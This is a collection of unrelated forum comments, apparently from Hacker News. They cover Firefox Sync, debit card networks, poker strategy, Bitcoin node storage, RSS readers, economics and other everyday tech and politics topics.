Your comment misses the point completely.
You can actually self host Firefox Sync on your own server if you want.
Do you actually "have to"? How would they know if you don't? Basically, is it an honor system?
that's exactly the point. it's almost a game for rich people to pump up their legacies or because they're just bored. you want them gone. When they are gone, there will be plenty of people left that choose never to buy another stock again for the rest of their lives. No law, just a personal code. Because the influence and power obviously last after you leave office. Monks and samurai can exist. Then so can a congressional Bushido. You just have to stop voting for people who think about their stocks all day while sitting at meetings.
Modern farming is not the bucolic system drawn on the food packages in the supermarket.

It's an extractive industry little different from mining or oil drilling. In fact industrial food is largely eating oil, both in energy intensity itself and the use of oil as feedstock for fertilizers and food additives.
> At this level of wealth, just making more money has no positive impact on anybody, even yourself.

except that having capital makes it easier to gain more capital, so you could very well end up with more impact by aggressively investing for a few years before donating.
I wondered about that, too, but I'd be hard-pressed to say whether SQL injection vulnerabilities are more or less common if you embed SQL in the front-end vs. in a back-end service. I supposed they would be slightly easier to identify and exploit in a more modern front-end like React because the source code is actually viewable to users.

After China restricted other companies from entering their own market then the only fair thing to do is to restrict Chinas' access to other markets.

I'm not a trump supporter but he did the right thing on this front.
Just finished reading Soros' The New Paradigm for Financial Markets, and also listened to a Vox podcast episode on him https://podcasts.apple.com/al/podcast/who-is-the-real-george...

He seems like a pretty reasonable and interesting guy. The Vox episode sounded like a balanced take on his legacy: mixed but generally positive impact. The biggest argument against him that resonates with me is the same that applies to all the mega-wealthy: a handful of rich individuals should not have ultimate power to craft policy decisions, rather the world would benefit from a more balanced democratic process.
Google Becomes the First Visionary Sponsor of the Python Software Foundation
I used to use Tab Mix Plus on Firefox. Having three rows of tabs and the ability to scroll them vertically for more tabs was the absolute killer feature for me. I loved Firefox for this.

Once Firefox moved to the per-process approach and removed the ability to hack the UI, I saw no more reason to stay on what was a terribly slow browser back then, compared to Chrome. Startup times of 10+ seconds and such shenanigans.
You show a distinct lack of understanding of what capitalism is.

I can very easily hoard goods in a controlled centralised economy as well, the only major downside is the governmnent will likely throw me in some Gulag if they caught me.

It's actually market forces, nothing whatsoever to do with capital.
This is a really cool list and I'm glad it was shared!
Yes, there's a different kind of debit card. I usually use a different term that's country-specific (like the cards themselves).

For Germany, a German debit card (the "other sort", as you put it) isn’t the same as any other. It doesn’t have Visa or MasterCard co-branding like other countries’ debit cards, nor a 16 digit number, so it can’t be used online. I might also use the term "bank card" for this, because there are actual debit cards with Visa/MC co-branding which are available in Germany, but less common than other types.

It's also common for Germans to use "Kreditkarte" to mean anything with Visa/MC co-branding, which probably spills over into English. This also leads to the hilarious term "echte Kreditkarten" (real credit cards) for cards that actually have a rolling line of credit attached (these are rarely offered).

However, in the UK I recall that people are usually specific about whether they mean a credit card or a debit card.

I've tried to get `act` to work several times over the past few months, and never managed to get even a basic workflow to run locally. It kept giving cryptic errors that I had to dig into their code to figure out (e.g. requiring a GitHub Personal Access Token despite not mentioning it in the docs). It gave me the impression that it was far from functional, for now.

I eventually gave up and have been running Actions on GitHub from a branch, merging into the main one once it works.
Could you provide a bit of context? What's the point you're trying to make with this video? I'd argue that comparing work at Amazon to slave labour is doing a disservice to the victims of slavery and their descendants.
Thankfully 360k 5.25" floppies were on their way out by that time or one would be spending ages feeding the beast.
I find the video amusing as the dude calls it the "annoying toy tactic". aka when parents conveniently "lose" a very annoying toy a child might have.

However the correct term for this, I think, is "bait and switch". When you buy a tech product and it has a feature that is arbitrarily taken away from you. Frankly it should be illegal. Lots of companies have done this and will continue to do it until they can't.
i honestly can't remember offhand, it was that unmemorable. maybe i should have said staid or sterile rather than tone-deaf.

apple tv+ is just not robust or differentiated enough from netflix, hbo, disney+, or anything else to be a thing. disney+ goes all-in on family, while hbo goes all-in on adult. netflix has the all-you-can-eat buffet model where you'll be comforted to find something, anything, to watch in a pinch. apple tv+ has nothing like that. there's no brand or identity to form a memorable market segment around.
"sometimes"? I think XP was the last Windows that has been cracked wide open (no pun intended), since the elliptic key they used was actually cracked.
I didn't give you only "the title of a video" (which sure, tries to be "cute"), I gave you the link to the video, in which no other than Sean Parent gives you the arguments.

Sure, inheritance is fine, I use it all the time. If it were that bad we would already have Virtual Concepts in the standard. But duck-typing is better, if only because the argument you already gave: "lets you treat things that aren't from the same class hierarchy as if they are from the same hierarchy". It's a lie that I want something that inherits from my class, I simply want something I can draw() with, but we keep telling that lie all the time... which sure, is not the end of the world.
Playing poker against very novice players makes it a more volatile game. You might lose big and you might win big, but that's actually good for your EV; the beginner has no concept of bet sizing and that's where you shine. An expert playing against many intermediate player may end up winning on average 5 big blinds / hr over the course of a month. They'll certainly have losing sessions as well.

An expert playing against beginners might 'lose' 50% of the hands they get involved in still, and make a ton more money on the ones they win. It's the difference between an average of 5 big blinds / hr, and 50 big blinds / hr.

I'm not an expert by the way, I just consider myself an 'advanced beginner', who can count on making $2-4 / hr playing 1/2 no limit at the casino (based on having played maybe 200 hrs of poker in the casino). Not worth it as a way to make money, and I stopped caring enough about poker to invest the time to become better.

But you can see the entire dynamic at a table change when a loose, novice player sits down. Players no longer play against each other as much because they can count on the loose player to raise the stakes, and they're much more likely to capitalize on that.
Reminds me of a joke - if economist designed humans instead of having two kidneys we would share one between five people.
I've had a pretty good experience with Firefox Sync, although I don't use it for passwords. Firefox Sync has E2E encryption to ensure that Mozilla doesn't have the ability to view any of your data.

I mean...what a weird way to look at it. Yes I suppose you're right but we as a society decided that if sellers want to sell things remotely(online, through post, through telephone sales) then it's only fair that customers have the right to inspect the item and return it if they don't like it. You don't have that right if you bought the item in a physical store because you could inspect the item there.
All of Canada uses debit cards that don't work over the credit network. Some banks allow you to request a VISA number that's linked to your chequing account (for online use only), but debit cards use the separate Interac system.
So, back to the original question: wouldn't OTM options make more sense in their position?
VMs aren't emulating anything. Services like Stadia and GeForce Now explicitly rely on virtualizing gaming machines to be able to scale them. Nvidia even have a technology for slicing and dicing up large graphic cards to multiple client VMs.

> I reject your sources

So you don't care about what actual legal firms say?

I am giving you links to actual law firms!

You can't just say "well these 7 legal experts are wrong" and expect to be taken seriously.

> We can sit here and cite sources

Wtf dude. Sources and the legal experts and lawyers know more about this than you do.

If a bunch of law firms say that it is illegal, then clearly it is illegal in some places.

So, that means that we can call it fraud, because it is illegal is some places.
hah! I am sympathetic -- the U.S. corruption is definitely more impactful to the world, and on a much greater scale. But it is also more covert and _usually_ doesn't creep into the level of person to person bribery in everyday interactions (IME).

Yes and no.

If your a pro with C and you really want to build a rest API, then yes using C is a bad choice.

But if you know Ruby, Python or NodeJS you'll be fine with any of the 3.

Then again, newer programing languages tend to cater to what we already know. Flutter/Dart is a dream to anyone who knows Java or Javascript.

Actually, when I think about it I learned Python since I really wanted to get into machine learning a few years ago. I was able to increase my income by around 80k, so it was very much worth learning.
Starting this year, you can get AppleCare+ which covers accidental damage in India. The normal AppleCare is discontinued.
“Ducking” refers to lowering volume so that other audio can play on top of it. When an announcer speaks over a song in the radio, or when Siri lowers your music so she can talk over it - that kind of thing.
I don't like having people call me rude things on the internet. One way I can mitigate this is by not making my code OSS, which leads some small percentage of assholes to send really nasty messages when the code doesn't do what they want.

The context for this thread is whether this is an acceptable reason for keeping source closed. It seems from context that you don't believe this is an acceptable reason. You also say that if I can't ignore people that I should turn off my internet, which makes me think that you believe this is an acceptable response.

Thus, I believe that you believe that turning off the internet is a reasonable response and closing my source isn't.
Ah. Well, that clearly works for a lot of people and sounds similar to how pandas works, though it's actually the opposite of what I'm describing here, which is the option to write SQL directly against a tabular data frames. For now, this is possible in Python through what I'd describe as out of the mainstream open source modules that are reputable and written by good programmers but may not be actively maintained. I get the impression that a sqldf in R is a bit more mainstream among R programmers, though I'm not sure of this.
Not really that big yet. i keep a full copy that is a few weeks behind, i'm running the client with the -txindex argument, which indexes all transactions (and takes up a little extra space), currently is at 414 GB.

The initial sync from block 0 can take a while, but after having an almost synced copy, getting it up to date is fast

I remember thinking "this will never work" after reading the bitcoin whitepaper, i assumed that at some point only supernodes would exist. We might be getting there, be we are not there yet, and definitely moving at a slower pace than my initial prediction. Holding 400-500 GB is still very attainable today at a small cost
Me too.

And then normalize it against the benefit Google provides with its services and I bet it would be super clear that they are a great use of energy.
You are seeing one response in the various relief and reform proposals put forward by the Biden administration. Biden is following FDR’s blueprint of first relief then reform in response to a crisis. The refundable child tax credit alone has the potential to sharply curtail extreme poverty.

Whether it works or not is to be seen. You can look at both Biden and Trump as the end of the arc of neoliberalism that began with Reagan. The same broad moves seem to be happening in other peer nations.
Not necessary, Bitcoin Core obfuscates the data on disk for the very same reason which we're discussing here :)
That's a fantastic question! Here's my hot take:

- Price increases on all products that require chips.

- Right-to-repair laws make some headway, as the cost of repair becomes more competitive with the cost of replacement.

- Commercial software developers shift their focus a little more towards program efficiency, at the cost of slower feature development and/or higher code complexity.

Is this from personal experience or just conjecture? Because this is not common problem. Also this is what towels are for. You can also have interchangeable padding to either be more absorbent of sweat or less depending your preferences.
I don't blame them, it is shocking how much dresses cost. As a man, a well-tailored suit will last me a decade, waistline permitting. Nobody will ever say, 'Uh, you're wearing that suit AGAIN?' The rest of the time a simple blazer and button down shirt will do the job.
It fails to comply in either case.

I can only talk about Hungary. SWE salaries doubled in the past couple of years. Entry level job salaries went from around 1000 EUR to 2000 EUR, but they are way less than in Germany
BerkeleyDB was a key/value store. I'm not sure how much uptake it actually had vs other solutions. Prior to widespread availability of SQLite3, it was not unheard of to write your bespoke format if you needed something sophisticated.

My apologies, it wasn't my intent to imply that myth. I actually completely agree with your position on short selling. At the time of writing it just seemed a bit weird to me, and possibly an incorrect alignment of interests, for a US politician to take a short position in SPY...
Good luck! You know what they say, admitting you have a problem is the first step.
Australia is huge! There's no way you can cruise around without fossil fuels unfortunately. I think for Australia they should try methane based fuels or hydrogen instead.
That would be great.
My fear is that we are more like yeast in a bottle of juice.
As someone who actually works at Microsoft, I can confidently say that a toy third-party language would have absolutely zero chance of getting approved for production code in any major shipping product. The first question that any manager will ask the developer pitching this is, "Where do I find the devs to maintain this codebase long term? And what happens if the language dies upstream?" - and you better have really good answers to those, or else a very convincing story explaining how the productivity boost is worth it.

Even Rust isn't all that easy. That it cleared the hurdle at all on so many teams already (and Windows especially!) is extremely impressive for a piece of tech so new.
Reward early adopters by keeping there prices the same, up the prices for all who come afterwards, generate fear of missing out when it comes to word of mouth.

After all, the early adopters got it for "practically nothing". Allow early adopters to bring in one friend a year at their price..
>entrepreneurs buy all the chips and stockpile them. Is this some new kind of war?

No, that's capitalism.
I’ve started using a feed reader recently. Here are some of my thoughts:

I agree on the noisy feeds. I had to unsubscribe from Rolling Stone because although they have a few good articles most are crap. You could consider a mute button for specific authors or topics if the stream includes that or keywords if it does not. I think preferences have to be learned and there’s no way to do this up front.

One of the problems with RSS readers for me is that they present you with an unread count, which like email can be stressful. I always want to get the unread to 0 even if that means just scanning the headlines and clicking read all. A format that presents a reasonably sized feed without an unread count would be a psychological improvement for me at least. A read more button could always be included.

You could look at Google Reader which had some unique ideas for RSS and a lot of people loved. I never got to use it but I believe that it had dynamic keyword based searches for articles about certain topics. This is another technique to deal with the noise.

I believe feed readers are not used today because there are several firehoses of information on the internet that are filling the void with as much content as people can consume. When feedreaders first appeared you had to actively seek out content which meant checking the home page of your favorite sites. Now that content comes to you through Twitter Facebook Reddit and email newsletters. Along the same lines there’s also the social component not offered by feed readers, which some people tend to crave. They want to engage with a story after reading it which is not a feature of most feed readers (this was possible on google reader from what I’ve heard)

Relevant twitter thread by Kai Kupferschmidt, a science journalist, whose top-notch coverage of COVID-19 related topics, I have come to appreciate during this pandemic.
Key points:
- This paper tells little about the AstraZeneca vaccine, which seems to have a much higher risk of CVST than the mRNA vaccines.
Actual quote from press conference: "I think our data say actually nothing about the AZ vaccine."
- The number of CVSTs for mRNA vaccines are surprising and very different from the ones presented by ACIP yesterday.

Money is a debt that grants you to the right to someone else's labor, the reason you work for money is that someone else promises to work for you in exchange. It doesn't store wealth. If you do not utilize your money, then someone else doesn't work and that person's time is irreversibly lost, despite no work being performed. That is why money is losing value over time, I mean, money should be losing value over time. The "should" is just a political decision because we consider it fairer, than the inverse, letting someone become unemployed and then you ask for even more work from them because your money has appreciated.

This is why you must put your money into a bank account, because someone else out there will use that unemployed person's time to create value on behalf of you.

> In fact, those with headsets will sometimes be worse because they're making a lot of mouth sounds close to the mic.

Yes this also freaks me out. Also when people use headsets in a room with lots of background noise, it sounds as if they use an open mic.

I'm also quite convinced that the Mac with just the internal mic/speaker is quite good for most cases. But I definitely want to look further into the issue. Also I certainly don't want to use a dedicated external mic, that seems total overkill to me.
What's an example that you particularly like?

Without arguing about the merits of protecting that species of toads, you can’t blame the Berlin government for things that are governed by federal and EU law.

Ultimately the owner/investor either has to find a way to move the toads or apply for an exception. Without an application, the state government can’t act.

Chances are you somehow act really creepy, which you do not see yourself. Ask a friend for a mock interview. Record it and watch later.

Don't have a friend? Hire someone. A friend cannot do mock interviews? Hand them a list of 10 questions that you remember from all those previous attempts and tell them to read it in solemn voice.

Nowadays the interviews are remote. Let a friend observe your interview and then ask their opinion. (I think recording these might be likely illegal? idk)

Yes, it follows from the definition of analogy. Perhaps you are thinking of equivalence instead? In that case you are correct that the two are not equivalent.
